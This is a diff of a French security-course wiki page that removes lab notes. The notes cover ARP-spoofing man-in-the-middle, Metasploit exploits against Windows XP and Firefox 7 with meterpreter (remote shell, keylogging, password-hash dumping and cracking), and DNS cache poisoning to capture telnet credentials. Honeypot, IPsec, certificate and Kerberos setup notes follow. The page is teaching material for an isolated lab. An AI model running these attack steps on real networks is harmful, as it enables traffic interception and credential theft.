secres:index
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revisionNext revisionBoth sides next revision | ||
secres:index [2017/10/27 12:00] – [Génération des Certificats] orel | secres:index [2017/12/14 10:03] – orel | ||
---|---|---|---|
Line 3: | Line 3: | ||
__Site Web__ : http:// | __Site Web__ : http:// | ||
- | ====Man-in-the-Middle avec arpspoof==== | + | * [[secres: |
- | Obligatoirement, | + | //Pour aller plus loin :// |
- | < | + | * [[secres:https-interception |
- | syl$ echo 1 > / | + | * [[secres:some | SOME (Same Origin Method Execution) ]] |
- | syl$ arpspoof -i eth0 -t @immortal @nile &> /dev/null & | + | |
- | syl$ arpspoof -i eth0 -t @nile @immortal &> /dev/null & | + | |
- | syl$ tcpdump -i eth0 -s 1500 -w / | + | |
- | syl$ pkill -9 arpspoof | + | |
- | </ | + | |
- | + | ||
- | Votre fichier //capture// se trouve dans le répertoire ~/ | + | |
- | + | ||
- | ==== Metasploit ==== | + | |
- | + | ||
- | Lancer // | + | |
- | + | ||
- | < | + | |
- | $ msfconsole | + | |
- | msf > | + | |
- | </ | + | |
- | + | ||
- | Un exploit se prépare en plusieurs étapes : | + | |
- | - le choix d'un exploit (// | + | |
- | - le choix de la cible (// | + | |
- | - le choix des options | + | |
- | - le choix de l' | + | |
- | + | ||
- | ==1) Attaque d'un serveur TFTP dans Windows XP SP0 English== | + | |
- | + | ||
- | Voici un petit exemple d' | + | |
- | + | ||
- | < | + | |
- | msf > nmap -sS 192.168.56.3 | + | |
- | + | ||
- | ### exploit | + | |
- | msf > show exploits | + | |
- | msf > search ftp | + | |
- | msf > use expoit/ | + | |
- | msf > info | + | |
- | + | ||
- | ### target | + | |
- | msf > show targets | + | |
- | msf > set target 6 # Windows XP SP0/1 English | + | |
- | + | ||
- | ### options | + | |
- | msf > show options | + | |
- | msf > set LHOST 192.168.1.2 | + | |
- | msf > set RHOST 172.16.1.2 | + | |
- | + | ||
- | ### payloads | + | |
- | msf > search payload/ | + | |
- | msf > set PAYLOAD windows/ | + | |
- | + | ||
- | ### run exploit | + | |
- | msf > exploit | + | |
- | + | ||
- | ### meterpreter | + | |
- | meterpreter > help | + | |
- | meterpreter > ls | + | |
- | meterpreter > ps | + | |
- | meterpreter > migrate 1172 # migre vers le processus 1172 (explorer dans cette session) | + | |
- | meterpreter > shell # lancer un shell distant ! | + | |
- | meterpreter > keyscan_start | + | |
- | meterpreter > keyscan_dump | + | |
- | meterpreter > keyscan_stop | + | |
- | </ | + | |
- | + | ||
- | __Nota Bene__ : les payloads " | + | |
- | + | ||
- | + | ||
- | ==2) Attaque d'un Mozilla Firefox 7 dans Windows XP SP0 English== | + | |
- | + | ||
- | On peut récupèrer Firefox 7 sur http:// | + | |
- | + | ||
- | < | + | |
- | msf > search mozilla | + | |
- | msf > use exploit/ | + | |
- | msf > info | + | |
- | msf > set TARGET 1 # Firefox 7 | + | |
- | msf > show options | + | |
- | msf > set SRVHOST 0.0.0.0 | + | |
- | msf > set SRVPORT 8080 | + | |
- | msf > set URIPATH / | + | |
- | msf > set PAYLOAD windows/ | + | |
- | msf > exploit | + | |
- | </ | + | |
- | + | ||
- | Ces options permettent de configurer le faux-serveur web sur la machine locale, où metasploit s' | + | |
- | + | ||
- | < | + | |
- | msf > sessions -l | + | |
- | msf > sessions -i 1 # pour changer de session et utiliser meterpreter !!! | + | |
- | </ | + | |
- | + | ||
- | Pour tuer notre faux serveur web, avant de relancer l' | + | |
- | + | ||
- | < | + | |
- | msf > jobs # pour lister les jobs.. | + | |
- | msf > kill 0 # pour tuer le job 0 | + | |
- | </ | + | |
- | + | ||
- | ==3) Meterpreter, | + | |
- | + | ||
- | < | + | |
- | msf > set PAYLOAD windows/ | + | |
- | + | ||
- | # ou au choix... | + | |
- | # msf > set PAYLOAD windows/ | + | |
- | + | ||
- | meterpreter > help | + | |
- | + | ||
- | meterpreter > hashdump | + | |
- | + | ||
- | Administrator: | + | |
- | Guest: | + | |
- | HelpAssistant: | + | |
- | lucifer: | + | |
- | SUPPORT_388945a0: | + | |
- | + | ||
- | </ | + | |
- | + | ||
- | Avec OPHCRACK, on effectue une attaque brute-force et on récupère le mot de passe du compte Lucifer :-) | + | |
- | + | ||
- | {{ secres:metasploit-ophcrack.jpeg? | + | |
- | + | ||
- | ==4) D' | + | |
- | + | ||
- | * http:// | + | |
- | * http:// | + | |
- | + | ||
- | __Biblio__ (à compléter) | + | |
- | * http:// | + | |
- | * http:// | + | |
- | * http:// | + | |
- | + | ||
- | + | ||
- | ==== DNS Cache Poisonning ==== | + | |
- | + | ||
- | __Scenario__ : Nile se connecte périodiquement à Atg en telnet. Ainsi, Nile effectue périodiquement une requête DNS auprès de Immortal, qu'il transmet à un autre serveur DNS, Grave, qui connait la réponse (i.e. l' | + | |
- | + | ||
- | Nous souhaitons usurper les identifiants (login/ | + | |
- | + | ||
- | Sur Dt, on écoute le traffic DNS (UDP, port 53) entre Immortal et Grave. En utilisant tcpdump et wireshark, on découvre le nom de domaine de Atg : atg.gfd.net et son adresse IP avec la commande nslookup : 172.16.21.23. Nota Bene : Cette étape n'est pas toujours facile, car il y a beaucoup de traffic entre les deux serveurs DNS. | + | |
- | + | ||
- | On va ensuite configurer un faux serveur DNS (dnsmasq) sur Dt qui va intercepter les requêtes à destination de Grave et formuler une " | + | |
- | + | ||
- | < | + | |
- | # configuration de dnsmasq | + | |
- | dt$ echo " | + | |
- | dt$ / | + | |
- | + | ||
- | # test local du faux serveur | + | |
- | dt$ nslookup atg.gfd.net localhost | + | |
- | + | ||
- | # redirection du traffic DNS vers le faux serveur | + | |
- | dt$ iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53 | + | |
- | + | ||
- | # test distant du faux serveur | + | |
- | syl$ nslookup atg.gfd.net | + | |
- | </ | + | |
- | + | ||
- | A partir de ce moment, Nile qui effectue périodiquement la commande " | + | |
- | + | ||
- | < | + | |
- | nile$ tcpdump -s 1500 -w / | + | |
- | nile$ / | + | |
- | </ | + | |
- | + | ||
- | Le script redirect.sh utilise sur Syl deux netcat (client & serveur) reliés via 2 pipes nommés pour rediriger la connexion TCP/IP vers Atg dans les deux sens. Il faut patienter une minute au moins et faire plusieurs tentatives, pour finalement intercepter les identifiants de la session Telnet avec Wireshark !!! | + | |
- | ====Honey Pot==== | + | |
- | + | ||
- | //Attention : ces notes n'ont pas été remise à jour...// | + | |
- | + | ||
- | On installe le honeypot sur syl (192.168.0.2), | + | |
- | + | ||
- | __Routage__ | + | |
- | + | ||
- | < | + | |
- | immortal$ route add -net 10.0.0.0/8 dev eth1 | + | |
- | ou | + | |
- | immortal$ route add -net 10.0.0.0/8 gw 192.168.0.2 | + | |
- | </ | + | |
- | + | ||
- | __Daemon ARP__ | + | |
- | + | ||
- | En ligne de commande : | + | |
- | + | ||
- | < | + | |
- | syl$ farpd -d -i eth0 10.0.0.0/8 & | + | |
- | </ | + | |
- | + | ||
- | + | ||
- | Faites un ping depuis opeth vers 10.0.0.1 et vérifiez que syl reçoit ce message. Si c'est le cas, vous pouvez mettre en place le //honey pot//. | + | |
- | + | ||
- | __Honeypot__ | + | |
- | + | ||
- | Configurer le fichier / | + | |
- | + | ||
- | RUN=" | + | |
- | INTERFACE=" | + | |
- | NETWORK=" | + | |
- | + | ||
- | < | + | |
- | syl$ / | + | |
- | </ | + | |
- | + | ||
- | On vérifie les erreurs potentielles dans / | + | |
- | + | ||
- | + | ||
- | __Configuration du honeypot__ | + | |
- | + | ||
- | Configurer le réseau simulé dans le fichier / | + | |
- | + | ||
- | <code bash honeyd.conf> | + | |
- | create default | + | |
- | set default default tcp action block | + | |
- | set default default udp action block | + | |
- | set default default icmp action block | + | |
- | + | ||
- | # Example of a simple host suse80 and its binding | + | |
- | create suse80 | + | |
- | set suse80 personality "Linux 2.4.7 (X86)" | + | |
- | set suse80 default tcp action reset | + | |
- | set suse80 default udp action block | + | |
- | set suse80 default icmp action open | + | |
- | set suse80 uptime 79239 | + | |
- | set suse80 droprate in 4 | + | |
- | add suse80 tcp port 21 "sh / | + | |
- | add suse80 tcp port 22 "sh / | + | |
- | add suse80 tcp port 80 "sh / | + | |
- | #add suse80 tcp port 23 "sh scripts/ | + | |
- | #add suse80 tcp port 25 "sh scripts/ | + | |
- | #add suse80 tcp port 79 "sh scripts/ | + | |
- | #add suse80 tcp port 110 "sh scripts/ | + | |
- | #add suse80 tcp port 143 "sh scripts/ | + | |
- | #add suse80 tcp port 515 "sh scripts/ | + | |
- | #add suse80 tcp port 3128 "sh scripts/ | + | |
- | #add suse80 tcp port 8080 "sh scripts/ | + | |
- | #add suse80 tcp port 8081 "sh scripts/ | + | |
- | #add suse80 udp port 53 proxy 24.35.0.12: | + | |
- | bind 10.0.0.1 suse80 | + | |
- | + | ||
- | # Example of a simple host WIN and its binding | + | |
- | create WIN | + | |
- | set WIN personality " | + | |
- | set WIN uptime 1728650 | + | |
- | set WIN maxfds 35 | + | |
- | add WIN tcp port 80 "sh / | + | |
- | add WIN tcp port 22 "/ | + | |
- | set WIN default tcp action reset | + | |
- | bind 10.0.0.2 WIN | + | |
- | </ | + | |
- | + | ||
- | + | ||
- | __Test__ | + | |
- | + | ||
- | < | + | |
- | syl$ tail -f / | + | |
- | opeth$ ping 10.0.0.1 | + | |
- | opeth$ traceroute -T 10.0.0.1 | + | |
- | opeth$ nmap -O 10.0.0.1 | + | |
- | opeth$ xprobe2 10.0.0.1 | + | |
- | </ | + | |
- | + | ||
- | ==== IPSEC avec racoon ==== | + | |
- | + | ||
- | FIXME : //Corriger les adresses IPs.// | + | |
- | + | ||
- | Configuration LAN-to-LAN d'un tunnel IPSEC entre les gateways // | + | |
- | + | ||
- | + | ||
- | OPETH ------ IMMORTAL ===== TUNNEL IPSEC ====== SYL ------ NILE | + | |
- | (LAN) | + | |
- | 192.168.0.0/ | + | |
- | + | ||
- | + | ||
- | La configuration s' | + | |
- | - on dit via //setkey// quel traffic doit utiliser IPSEC plutôt que IP -> / | + | |
- | - on configure via l'IKE //racoon// comment IPSEC doit fonctionner (négociation des clefs, algo encryptage, ...) -> / | + | |
- | + | ||
- | + | ||
- | ==Génération du PSK (Pre Shared Secret)== | + | |
- | + | ||
- | <code bash> | + | |
- | immortal$ dd if=/ | + | |
- | a1e27a604351ffd147f82b50a4f7bcf60d04822c93fa1efd | + | |
- | </ | + | |
- | + | ||
- | Attention à utiliser /dev/random (et non / | + | |
- | + | ||
- | + | ||
- | Dans le fichier / | + | |
- | + | ||
- | # remote @IP key 24 bytes (en hexadecimal) | + | |
- | 172.16.0.2 | + | |
- | + | ||
- | Ne pas oublier le " | + | |
- | + | ||
- | __Nota Bene__ : par la suite on utilisera des certificats pour assurer l' | + | |
- | + | ||
- | + | ||
- | ==Configuration de l'IKE Racoon== | + | |
- | + | ||
- | IKE = Internet Key Exchange. Protocole standard sous-jacent : isakmp (phase1 ou phase2), implanté ici par Racoon. Fichier de configuration : / | + | |
- | + | ||
- | Protocole de négociation des paramètres de sécurité en deux phases : | + | |
- | - IKE Security Negotiation | + | |
- | - IKE IPSEC Negotiation | + | |
- | + | ||
- | Une connexion IPSEC regroupe (au moins) deux SA (security association), | + | |
- | + | ||
- | Quelques paramètres : | + | |
- | + | ||
- | * dh_group : diffie-helman (DH) pour la génération des clefs de session symétrique utilisé dans la phase 1 (plusieurs groupes possibles, ex. 1024 bits) | + | |
- | * pfs_group (perfekt forwarding secrecy) : nouveau DH utilisée pour la phase 2 | + | |
- | + | ||
- | + | ||
- | <code bash / | + | |
- | path pre_shared_key "/ | + | |
- | + | ||
- | # adresse publique de la GW distante | + | |
- | remote 172.16.0.2 { | + | |
- | proposal { | + | |
- | encryption_algorithm aes; | + | |
- | hash_algorithm sha1; | + | |
- | authentication_method pre_shared_key; | + | |
- | dh_group modp1024; | + | |
- | } | + | |
- | verify_identifier on; | + | |
- | peers_identifier address; | + | |
- | exchange_mode main; | + | |
- | } | + | |
- | + | ||
- | # communication LAN-to-LAN | + | |
- | sainfo address 192.168.0.0/ | + | |
- | pfs_group modp1024; | + | |
- | encryption_algorithm aes,3des; | + | |
- | authentication_algorithm hmac_sha1, | + | |
- | compression_algorithm deflate; | + | |
- | } | + | |
- | </ | + | |
- | + | ||
- | Faire de même pour la gateway syl | + | |
- | + | ||
- | __Attention__ : authentification en anglais s' | + | |
- | + | ||
- | Memento pour racoon.conf : | + | |
- | + | ||
- | sainfo (source_id destination_id | source_id anonymous | anonymous destination_id | anonymous) { ... } | + | |
- | source_id = address address [/ prefix] [[port]] ul_proto | + | |
- | exemple : address 192.168.0.0/ | + | |
- | + | ||
- | + | ||
- | ==Configuration des politiques de sécurité avec Setkey== | + | |
- | + | ||
- | Setkey : gestion des SPD (Security Policy Database) | + | |
- | + | ||
- | On peut également forcer des SA manuellement dans " | + | |
- | + | ||
- | On pourra utiliser le protocole de communication pour IPsec : AH ou ESP ou les deux. | + | |
- | * __AH (Authentication Header)__ : authentification + intégrité. Utilisation d'une fonction de hash cryptographique et simple ajout du AH header (pas de chriffrement des data IP qui sont en clair). | + | |
- | * __ESP (Encapsultated Security Payload)__ : chiffrement et authentification ajout d'un ESP Header / ESP trailer et ESP auth. Contrairement à AH, le header IP extérieur de ESP n'est pas protégé ! AH a tendance à disparaître au profit de ESP. La différence principale entre ESP et AH, vient du fait que ESP chiffre les données (payload), et pas AH. | + | |
- | + | ||
- | On peut choisir à ce niveau le mode transport ou tunnel... | + | |
- | * __Transport__ : Dans le mode transport, seul les data IP sont protégés, mais pas le header, mais cela n'a pas d' | + | |
- | * __Tunnel__ : Dans le mode tunnel, le paquet IP entier (header + data) est protégé et encapsulé dans un autre paquet IP par la gateway... les IP src/dst des LANs sont masqués. | + | |
- | + | ||
- | Dans le cas LAN-to-LAN, on préfèrera le mode tunnel, alors que pour du host-to-host on choisira plutôt le mode transport... | + | |
- | + | ||
- | __Nota Bene__: roadwarriors (client volatile, IP anonymous, authentifé par un certificat) | + | |
- | + | ||
- | + | ||
- | <code bash / | + | |
- | # Set to " | + | |
- | RUN_SETKEY=yes | + | |
- | </ | + | |
- | + | ||
- | <code bash / | + | |
- | # | + | |
- | + | ||
- | # NOTE: Do not use this file if you use racoon with racoon-tool | + | |
- | # utility. racoon-tool will setup SAs and SPDs automatically using | + | |
- | # / | + | |
- | # | + | |
- | + | ||
- | ## Flush the SAD and SPD | + | |
- | flush; | + | |
- | spdflush; | + | |
- | + | ||
- | # paquet sortant (out, src-dst) | + | |
- | spdadd 192.168.0.0/ | + | |
- | esp/ | + | |
- | + | ||
- | # paquet entrant (in, src-dst) | + | |
- | spdadd 10.0.0.0/ | + | |
- | esp/ | + | |
- | </ | + | |
- | + | ||
- | Faire de même pour la gateway syl. Changer ESP en AH dans la config... | + | |
- | + | ||
- | ==Démarrage== | + | |
- | + | ||
- | <code bash> | + | |
- | immortal$ / | + | |
- | syl$ / | + | |
- | </ | + | |
- | + | ||
- | En cas de problème ;-) | + | |
- | + | ||
- | <code bash> | + | |
- | immortal$ tail / | + | |
- | </ | + | |
- | + | ||
- | On peut augmenter le loglevel dans racoon.conf: | + | |
- | + | ||
- | # Log level is one of following: error, warning, notify, info, debug and debug2. | + | |
- | log debug; | + | |
- | + | ||
- | ==Un petit test== | + | |
- | + | ||
- | + | ||
- | Depuis une machine du tunnel (grave), on lance tcpdump pour contrôler le traffic échangé. On intercepte un premier ping qui circule entre //opeth// et //nile//. On voit l'IKE faire son job (négociation ISAKMP). Puis après on ne voit pas d'ICMP mais du ESP (les adresses src et dst sont remplacées par celle des gateways, mode tunnel). | + | |
- | + | ||
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | 09: | + | |
- | + | ||
- | == Utilisation du mode transport== | + | |
- | + | ||
- | Attention, on ne fait plus du LAN-to-LAN, mais du HOST-to-HOST, | + | |
- | + | ||
- | Ce qu'il faut ajouter.... par exemple sur immortal | + | |
- | + | ||
- | 1) Dans / | + | |
- | + | ||
- | sainfo address 192.168.1.2 any address 172.16.0.2 any { | + | |
- | pfs_group modp1024; | + | |
- | encryption_algorithm aes,3des; | + | |
- | authentication_algorithm hmac_sha1, | + | |
- | compression_algorithm deflate; | + | |
- | } | + | |
- | + | ||
- | + | ||
- | 2) Ce qu'il faut ajouter dans / | + | |
- | + | ||
- | <code bash> | + | |
- | spdadd 192.168.1.2 172.16.0.2 any -P out ipsec | + | |
- | esp/ | + | |
- | + | ||
- | spdadd 172.16.0.2 192.168.1.2 any -P in ipsec | + | |
- | esp/ | + | |
- | </ | + | |
- | + | ||
- | ==== Génération des Certificats ==== | + | |
- | + | ||
- | -> utilisation de certtool, pas de passphrase pour protéger les clés privés par défaut. | + | |
- | + | ||
- | 1) génération du certificat du CA (et de sa clef privée) | + | |
- | + | ||
- | $ certtool --generate-privkey --outfile ca.key | + | |
- | $ certtool --generate-self-signed --load-privkey ca.key --outfile ca.crt | + | |
- | + | ||
- | * la plupart des champs peuvent rester vides | + | |
- | * Common name: CA | + | |
- | * The certificate will expire in (days): 255 | + | |
- | * Does the certificate belong to an authority? (y/N): y | + | |
- | * Will the certificate be used to sign other certificates? | + | |
- | + | ||
- | Afficher les infos du certificat : | + | |
- | + | ||
- | $ certtool --certificate-info --infile ca.crt | + | |
- | + | ||
- | 2) génération du certificat de la machine immortal signée par le CA (et de sa clef privée) | + | |
- | + | ||
- | $ certtool --generate-privkey --outfile immortal.key | + | |
- | $ certtool --generate-certificate --load-privkey immortal.key --outfile immortal.crt --load-ca-certificate ca.crt --load-ca-privkey ca.key | + | |
- | + | ||
- | * la plupart des champs peuvent rester vides | + | |
- | * CN=@IP | + | |
- | * DNSName=@IP | + | |
- | * IP address=@IP | + | |
- | * The certificate will expire in (days): 255 | + | |
- | * Does the certificate belong to an authority? (y/N): N | + | |
- | Et pour le test avec GNUTLS, il faut aussi : | + | |
- | * Will the certificate be used for signing (required for TLS)? (y/N): y | + | |
- | * Will the certificate be used for encryption (not required for TLS)? (y/N): y | + | |
- | + | ||
- | 3) Afficher les infos du certificat | + | |
- | + | ||
- | $ certtool --certificate-info --infile immortal.crt | + | |
- | + | ||
- | + | ||
- | __Test des Certificats__ | + | |
- | + | ||
- | Sur la machine qui a servi a généré les certificats, | + | |
- | + | ||
- | dt$ gnutls-serv --x509keyfile dt.key --x509certfile dt.crt | + | |
- | + | ||
- | Set static Diffie Hellman parameters, consider --dhparams. | + | |
- | Processed 1 CA certificate(s). | + | |
- | Echo Server ready. Listening to port ' | + | |
- | + | ||
- | On copie le certificat du CA sur syl, puis on lance le client GNUTLS. | + | |
- | + | ||
- | dt$ scp ca.crt toto@172.16.0.2:/ | + | |
- | + | ||
- | syl$ gnutls-cli --x509cafile ca.crt -p 5556 147.210.0.2 | + | |
- | + | ||
- | | + | |
- | ... | + | |
- | # The hostname in the certificate matches ' | + | |
- | # Subject' | + | |
- | # Issuer' | + | |
- | ... | + | |
- | - Peer's certificate is trusted | + | |
- | ... | + | |
- | - Handshake was completed | + | |
- | + | ||
- | Notez que le serveur est TRUSTED, car on dispose du certificat du CA pour l' | + | |
- | + | ||
- | Le client peut également envoyer son certificat, afin que le serveur puisse également l' | + | |
- | + | ||
- | dt$ gnutls-serv -r --x509cafile ca.crt --x509keyfile dt.key --x509certfile dt.crt | + | |
- | syl$ gnutls-cli --x509cafile ca.crt --x509keyfile syl.key --x509certfile syl.crt -p 5556 147.210.0.2 | + | |
- | + | ||
- | Dans ce cas, le message " | + | |
- | + | ||
- | Pour test GNUTLS en tant que serveur HTTP, plutôt que ECHO : | + | |
- | * côté serveur, ajouter l' | + | |
- | * côté client, ajouter l' | + | |
- | + | ||
- | Ensuite, | + | |
- | + | ||
- | ==== IPSEC avec LibreSwan ==== | + | |
- | + | ||
- | Considérons les certificats suivants (ainsi que les clés privés) pour le CA, syl et immortal : | + | |
- | + | ||
- | ca-cert.pem | + | |
- | ca-key.pem | + | |
- | immortal-cert.pem | + | |
- | immortal-key.pem | + | |
- | syl-cert.pem | + | |
- | syl-key.pem | + | |
- | + | ||
- | + | ||
- | Pour afficher le contenu du certificat : | + | |
- | + | ||
- | certtool -i < dt-cert.pem | + | |
- | + | ||
- | + | ||
- | Il faut commencer par générer des fichiers PCKS#12 avant de les importer dans la base NSS/SQL. Pour faire simple, on donnera comme id/password " | + | |
- | + | ||
- | # génération fichier immortal.p12 | + | |
- | immortal# certtool --load-certificate immortal-cert.pem --load-privkey immortal-key.pem \ | + | |
- | | + | |
- | + | ||
- | # génération fichier syl.p12 (sur immortal, sans clé privé) | + | |
- | immortal# certtool --load-certificate syl-cert.pem --load-ca-certificate ca-cert.pem \ | + | |
- | --to-p12 --outder --outfile syl.p12 | + | |
- | + | ||
- | # RAZ de la base NSS | + | |
- | immortal# rm -f / | + | |
- | + | ||
- | # import dans la base NSS | + | |
- | immortal# ipsec import immortal.p12 | + | |
- | immortal# ipsec import syl.p12 | + | |
- | + | ||
- | Faire de même sur syl. On peut vérifier que l' | + | |
- | + | ||
- | immortal# certutil -L -d sql:/ | + | |
- | immortal# certutil -K -d sql:/ | + | |
- | + | ||
- | __Configuration d'un Tunnel__ | + | |
- | + | ||
- | Configuration LAN-to-LAN d'un tunnel IPSEC entre les gateways Immortal et Syl | + | |
- | + | ||
- | //On considère la configuration suivante ; attention, les IPs ne sont pas à jour !// | + | |
- | + | ||
- | OPETH ------ IMMORTAL ===== tunnel ipsec ====== SYL ------ NILE | + | |
- | (LAN) | + | |
- | 192.168.0.0/ | + | |
- | + | ||
- | + | ||
- | Les éléments de configuration importants entre les deux HOSTs (transport) ou les deux LANs (tunnel). | + | |
- | + | ||
- | Tout d' | + | |
- | + | ||
- | Par exemple, sur la machine immortal (192.168.1.2), | + | |
- | + | ||
- | Attention à ne pas mélanger les adresse publiques/ | + | |
- | + | ||
- | * type= tunnel | + | |
- | * left= 192.168.1.2 | + | |
- | * leftsubnet= 192.168.0.0/ | + | |
- | * leftcert= immortal | + | |
- | * right= 172.16.0.2 | + | |
- | * rightsubnet= 10.0.0.0/ | + | |
- | * rightcert= syl | + | |
- | + | ||
- | Nota Bene : La machine immortal doit disposer des certificats immortal.crt et syl.crt en local, ainsi que du certificat de l' | + | |
- | + | ||
- | < | + | |
- | #/ | + | |
- | + | ||
- | version 2.0 | + | |
- | + | ||
- | # basic configuration | + | |
- | config setup | + | |
- | plutodebug= all | + | |
- | plutostderrlog=/ | + | |
- | protostack=netkey | + | |
- | nat_traversal=no | + | |
- | nhelpers=0 | + | |
- | + | ||
- | # Add connections here | + | |
- | + | ||
- | conn tunnelipsec | + | |
- | type= tunnel | + | |
- | left= 192.168.1.2 | + | |
- | leftsubnet= 192.168.0.0/ | + | |
- | leftcert= immortal | + | |
- | right= 172.16.0.2 | + | |
- | rightsubnet= 10.0.0.0/ | + | |
- | rightcert= syl | + | |
- | phase2alg= aes-sha1 | + | |
- | </ | + | |
- | + | ||
- | + | ||
- | Sur immortal, il faut ajouter dans / | + | |
- | + | ||
- | < | + | |
- | # / | + | |
- | + | ||
- | : RSA immortal | + | |
- | + | ||
- | </ | + | |
- | + | ||
- | Faire de même sur syl... | + | |
- | + | ||
- | // | + | |
- | + | ||
- | Pour démarrer le tunnel ipsec : | + | |
- | + | ||
- | immortal# service ipsec restart | + | |
- | immortal# ipsec auto --add tunnelipsec | + | |
- | immortal# ipsec auto --up tunnelipsec | + | |
- | + | ||
- | + | ||
- | __Configuration d'un Road Warrior__ | + | |
- | + | ||
- | //TODO: Mettre à jour// | + | |
- | + | ||
- | + | ||
- | OPETH ------ IMMORTAL ===== tunnel ipsec ====== DT | + | |
- | (LAN) | + | |
- | 192.168.0.0/ | + | |
- | + | ||
- | + | ||
- | < | + | |
- | # / | + | |
- | + | ||
- | version 2.0 | + | |
- | + | ||
- | # basic configuration | + | |
- | config setup | + | |
- | plutodebug= all | + | |
- | plutostderrlog=/ | + | |
- | protostack=netkey | + | |
- | nat_traversal=no | + | |
- | nhelpers=0 | + | |
- | + | ||
- | # Add connections here | + | |
- | + | ||
- | # Using simple ID (@dt) | + | |
- | conn roadwarrior | + | |
- | type= | + | |
- | leftcert= | + | |
- | left= | + | |
- | leftsubnet= | + | |
- | right= | + | |
- | rightcert= | + | |
- | rightid= | + | |
- | </ | + | |
- | + | ||
- | < | + | |
- | # / | + | |
- | + | ||
- | version 2.0 | + | |
- | + | ||
- | # basic configuration | + | |
- | config setup | + | |
- | plutodebug= all | + | |
- | plutostderrlog=/ | + | |
- | protostack=netkey | + | |
- | nat_traversal=no | + | |
- | nhelpers=0 | + | |
- | + | ||
- | # Add connections here | + | |
- | + | ||
- | # Using simple ID (@dt) | + | |
- | conn roadwarrior | + | |
- | type= | + | |
- | rightcert= | + | |
- | right= | + | |
- | rightsubnet= | + | |
- | leftcert= | + | |
- | left= | + | |
- | leftid= | + | |
- | + | ||
- | </ | + | |
- | + | ||
- | + | ||
- | < | + | |
- | # / | + | |
- | + | ||
- | : RSA dt.key "" | + | |
- | + | ||
- | </ | + | |
- | + | ||
- | + | ||
- | Démarrage. Sur chaque extrémité du tunnel, il faut lancer : | + | |
- | + | ||
- | $ / | + | |
- | + | ||
- | Puis, sur les deux, on lance : | + | |
- | + | ||
- | $ ipsec auto --add tunnelipsec | + | |
- | + | ||
- | Puis, sur l'une des deux (ou sur le client dans la config roadwarrior), | + | |
- | + | ||
- | $ ipsec auto --up tunnelipsec | + | |
- | + | ||
- | + | ||
- | Ensuite, on peut tester un PING entre opeth et nile ou dt selon la config. En effectuant un tcpdump sur grave, on doit uniquement voir circuler un traffic encripté du type ESP (Encapsultated Security Payload). Notons que dans la phase 1 & 2 d' | + | |
- | + | ||
- | __Test tunnelipsec__ | + | |
- | + | ||
- | Depuis opeth, ping 10.0.0.2 (nile)... | + | |
- | + | ||
- | Un tcpdump sur grave doit montrer uniquement de l'ESP entre les GWs | + | |
- | + | ||
- | 13: | + | |
- | 13: | + | |
- | + | ||
- | + | ||
- | + | ||
- | + | ||
- | + | ||
- | ==== Kerberos ==== | + | |
- | + | ||
- | On considère le LAN suivant avec le domain DNS metal.fr déjà configuré. | + | |
- | * opeth (serveur kerberos) | + | |
- | * immortal et opeth (client kerberos) | + | |
- | + | ||
- | 1) Configurer le fichier / | + | |
- | + | ||
- | 2) Ajouter sur le serveur dans le fichier / | + | |
- | + | ||
- | < | + | |
- | [realms] | + | |
- | METAL.FR = { | + | |
- | database_name = / | + | |
- | admin_keytab = FILE:/ | + | |
- | acl_file = / | + | |
- | key_stash_file = / | + | |
- | ... | + | |
- | } | + | |
- | </ | + | |
- | + | ||
- | 3) Création de la base de donnée Kerberos sur le serveur | + | |
- | + | ||
- | $ kdb5_util create -s | + | |
- | mot de passe : toto | + | |
- | + | ||
- | 4) Créer le fichier / | + | |
- | + | ||
- | < | + | |
- | */ | + | |
- | </ | + | |
- | + | ||
- | 5) Administration de Kerberos sur le serveur... Toutes les commandes : | + | |
- | + | ||
- | < | + | |
- | opeth$ kadmin.local | + | |
- | -> Authenticating as principal root/ | + | |
- | kadmin.local: | + | |
- | -> Principal " | + | |
- | kadmin.local: | + | |
- | -> Principal " | + | |
- | kadmin.local: | + | |
- | + | ||
- | opeth$ scp / | + | |
- | + | ||
- | immortal$ cp / | + | |
- | + | ||
- | opeth$ rm / | + | |
- | opeth$ kadmin.local | + | |
- | kadmin.local: | + | |
- | + | ||
- | opeth$ cp / | + | |
- | + | ||
- | opeth$ kadmin.local | + | |
- | kadmin.local: | + | |
- | -> Enter password for principal " | + | |
- | -> Re-enter password for principal " | + | |
- | -> Principal " | + | |
- | + | ||
- | kadmin.local: | + | |
- | </ | + | |
- | + | ||
- | __Remarques__ : La commande addprinc permet d' | + | |
- | + | ||
- | Pour vérifer les clés installés sur les clients : | + | |
- | + | ||
- | immortal$ ktutil | + | |
- | ktutil> rkt / | + | |
- | ktutil> l # list keys | + | |
- | + | ||
- | + | ||
- | 6) Démarrage du serveur | + | |
- | + | ||
- | < | + | |
- | opeth$ / | + | |
- | + | ||
- | immortal$ kinit toto | + | |
- | Password for toto@METAL.FR: | + | |
- | + | ||
- | immortal$ klist | + | |
- | + | ||
- | Ticket cache: FILE:/ | + | |
- | Default principal: toto@METAL.FR | + | |
- | + | ||
- | Valid starting | + | |
- | 12/02/10 14: | + | |
- | renew until 12/03/10 14:54:29 | + | |
- | </ | + | |
- | + | ||
- | 7) Test FTP | + | |
- | + | ||
- | < | + | |
- | immortal$krb5-ftp opeth | + | |
- | + | ||
- | Connected to opeth.metal.fr. | + | |
- | 220 opeth FTP server (Version 5.60) ready. | + | |
- | 334 Using authentication type GSSAPI; ADAT must follow | + | |
- | GSSAPI accepted as authentication type | + | |
- | GSSAPI authentication succeeded | + | |
- | Name (opeth: | + | |
- | 232 GSSAPI user toto@METAL.FR is authorized as toto | + | |
- | Remote system type is UNIX. | + | |
- | Using binary mode to transfer files. | + | |
- | ftp> | + | |
- | </ | + | |
- | + | ||
- | OK ça marche !!! | + | |
- | + | ||
- | 8) PAM | + | |
- | + | ||
- | PAM permet d' | + | |
- | + | ||
- | < | + | |
- | immortal$ pam-auth-update | + | |
- | + | ||
- | [*] Kerberos authentication | + | |
- | [*] Unix authentication | + | |
- | [ ] LDAP Authentication | + | |
- | [ ] Inheritable Capabilities Management | + | |
- | </ | + | |
- | + | ||
- | Utilisation de Kerberos de manière transparente... | + | |
- | + | ||
- | immortal$ ssh toto@opeth | + | |
- | + | ||
